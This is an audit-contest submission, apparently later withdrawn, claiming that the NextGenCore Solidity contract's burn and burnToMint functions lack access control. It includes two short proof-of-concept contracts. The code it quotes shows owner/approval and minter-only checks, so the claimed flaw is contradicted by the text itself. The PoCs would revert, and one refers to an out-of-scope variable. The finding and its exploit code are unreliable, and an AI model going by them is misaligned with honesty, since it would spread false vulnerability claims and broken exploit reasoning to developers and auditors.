[M-01] Public burn in the NextGenCore contract

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/NextGenCore.sol#L204-L209
https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/NextGenCore.sol#L213-L223

Vulnerability details

Impact

The contract is utilising a public burn function.
The function is not using an access control to stop other users from burning tokens.
And, the burn function is using an address other than msg.sender.

Proof of Concept

Vulnerable burn function code snippet

// Ln 204-209
    function burn(uint256 _collectionID, uint256 _tokenId) public {
        require(_isApprovedOrOwner(_msgSender(), _tokenId), "ERC721: caller is not token owner or approved");
        require ((_tokenId >= collectionAdditionalData[_collectionID].reservedMinTokensIndex) && (_tokenId <= collectionAdditionalData[_collectionID].reservedMaxTokensIndex), "id err");
        _burn(_tokenId);
        burnAmount[_collectionID] = burnAmount[_collectionID] + 1;
    }

Exploit burn function

// SPDX-License-Identifier: MIT

pragma solidity >=0.8.19;

import "./NextGenCore.sol";

contract tNextGenCore {

   NextGenCore public x1;

   constructor(NextGenCore _x1) {

      x1 = NextGenCore(_x1);

   }

   function testBurn() public payable {

      x1.burn(uint256(35), uint256(25));

   } 

   }

Vulnerable burnToMint function code snippet

// Ln 213-223
    function burnToMint(uint256 mintIndex, uint256 _burnCollectionID, uint256 _tokenId, uint256 _mintCollectionID, uint256 _saltfun_o, address burner) external {
        require(msg.sender == minterContract, "Caller is not the Minter Contract");
        require(_isApprovedOrOwner(burner, _tokenId), "ERC721: caller is not token owner or approved");
        collectionAdditionalData[_mintCollectionID].collectionCirculationSupply = collectionAdditionalData[_mintCollectionID].collectionCirculationSupply + 1;
        if (collectionAdditionalData[_mintCollectionID].collectionTotalSupply >= collectionAdditionalData[_mintCollectionID].collectionCirculationSupply) {
            _mintProcessing(mintIndex, ownerOf(_tokenId), tokenData[_tokenId], _mintCollectionID, _saltfun_o);
            // burn token
            _burn(_tokenId);
            burnAmount[_burnCollectionID] = burnAmount[_burnCollectionID] + 1;
        }
    }

Exploit burnToMint function

// SPDX-License-Identifier: MIT

pragma solidity >=0.8.19;

import "./NextGenCore.sol";

contract tNextGenCore {

   NextGenCore public x1;

   constructor(NextGenCore _x1) {

      x1 = NextGenCore(_x1);

   }

   function testBurnB() external payable {

      x1.burnToMint(uint256(4), uint256(8), uint256(24), uint256(32), uint256(24), address(_x1));

   } 

   }

Tools Used

VS Code.

Recommended Mitigation Steps

Utilise access control modifiers on the burn function to stop other users from burning your tokens.
Assign msg.sender to the from parameter of the burn function.

Assessed type

Access Control

[code423n4]

Withdrawn by debo